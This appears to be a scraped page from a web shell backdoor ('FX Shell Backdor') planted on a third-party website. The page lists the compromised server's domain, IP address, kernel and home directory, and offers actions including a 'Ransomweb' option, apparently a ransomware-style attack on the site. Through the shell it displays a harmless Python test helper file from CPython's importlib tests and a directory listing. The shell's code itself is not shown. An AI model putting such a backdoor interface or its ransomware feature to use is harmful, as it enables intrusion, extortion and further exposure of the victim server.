FX Shell Backdor

Website : sae4.02-sati-melih.mmidev.fr

Ip Address : 109.234.166.10

Port : 443

Kernel : Linux filao.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64

Protokol : HTTP/1.1

Save Data :

Koneksi :

Server : Apache

Root : /home/blgu1730/Sae4.02-sati-Melih.mmidev.fr

G-Interface :

R-Method : GET

Browser : Lainnya

Version Shell : 1.0 (Release candidate)

Author : FierzaXploit/Mr.MF33

PATH : /proc/self/root/opt/alt/python312/lib64/python3.12/test/test_importlib/

Buat File

Buat Folder

Buat Ransomweb

# from jaraco.path 3.5

import functools
import pathlib
from typing import Dict, Union

try:
    from typing import Protocol, runtime_checkable
except ImportError:  # pragma: no cover
    # Python 3.7
    from typing_extensions import Protocol, runtime_checkable  # type: ignore

FilesSpec = Dict[str, Union[str, bytes, 'FilesSpec']]  # type: ignore

@runtime_checkable
class TreeMaker(Protocol):
    def __truediv__(self, *args, **kwargs):
        ...  # pragma: no cover

def mkdir(self, **kwargs):
        ...  # pragma: no cover

def write_text(self, content, **kwargs):
        ...  # pragma: no cover

def write_bytes(self, content):
        ...  # pragma: no cover

def _ensure_tree_maker(obj: Union[str, TreeMaker]) -> TreeMaker:
    return obj if isinstance(obj, TreeMaker) else pathlib.Path(obj)  # type: ignore

def build(
    spec: FilesSpec,
    prefix: Union[str, TreeMaker] = pathlib.Path(),  # type: ignore
):
    """
    Build a set of files/directories, as described by the spec.

Each key represents a pathname, and the value represents
    the content. Content may be a nested directory.

>>> spec = {
    ...     'README.txt': "A README file",
    ...     "foo": {
    ...         "__init__.py": "",
    ...         "bar": {
    ...             "__init__.py": "",
    ...         },
    ...         "baz.py": "# Some code",
    ...     }
    ... }
    >>> target = getfixture('tmp_path')
    >>> build(spec, target)
    >>> target.joinpath('foo/baz.py').read_text(encoding='utf-8')
    '# Some code'
    """
    for name, contents in spec.items():
        create(contents, _ensure_tree_maker(prefix) / name)

@functools.singledispatch
def create(content: Union[str, bytes, FilesSpec], path):
    path.mkdir(exist_ok=True)
    build(content, prefix=path)  # type: ignore

@create.register
def _(content: bytes, path):
    path.write_bytes(content)

@create.register
def _(content: str, path):
    path.write_text(content, encoding='utf-8')

class Recording:
    """
    A TreeMaker object that records everything that would be written.

>>> r = Recording()
    >>> build({'foo': {'foo1.txt': 'yes'}, 'bar.txt': 'abc'}, r)
    >>> r.record
    ['foo/foo1.txt', 'bar.txt']
    """

def __init__(self, loc=pathlib.PurePosixPath(), record=None):
        self.loc = loc
        self.record = record if record is not None else []

def __truediv__(self, other):
        return Recording(self.loc / other, self.record)

def write_text(self, content, **kwargs):
        self.record.append(str(self.loc))

write_bytes = write_text

def mkdir(self, **kwargs):
        return

Type	Name	options
	__pycache__
	builtin
	data
	extension
	frozen
	import_
	namespace_pkgs
	partial
	resources
	source
	__init__.py
	__main__.py
	__pycache__
	_context.py
	_path.py
	abc.py
	builtin
	data
	extension
	fixtures.py
	frozen
	import_
	namespace_pkgs
	partial
	resources
	source
	stubs.py
	test_abc.py
	test_api.py
	test_lazy.py
	test_locks.py
	test_main.py
	test_metadata_api.py
	test_namespace_pkgs.py
	test_pkg_import.py
	test_spec.py
	test_threaded_import.py
	test_util.py
	test_windows.py
	test_zip.py
	threaded_import_hangers.py
	util.py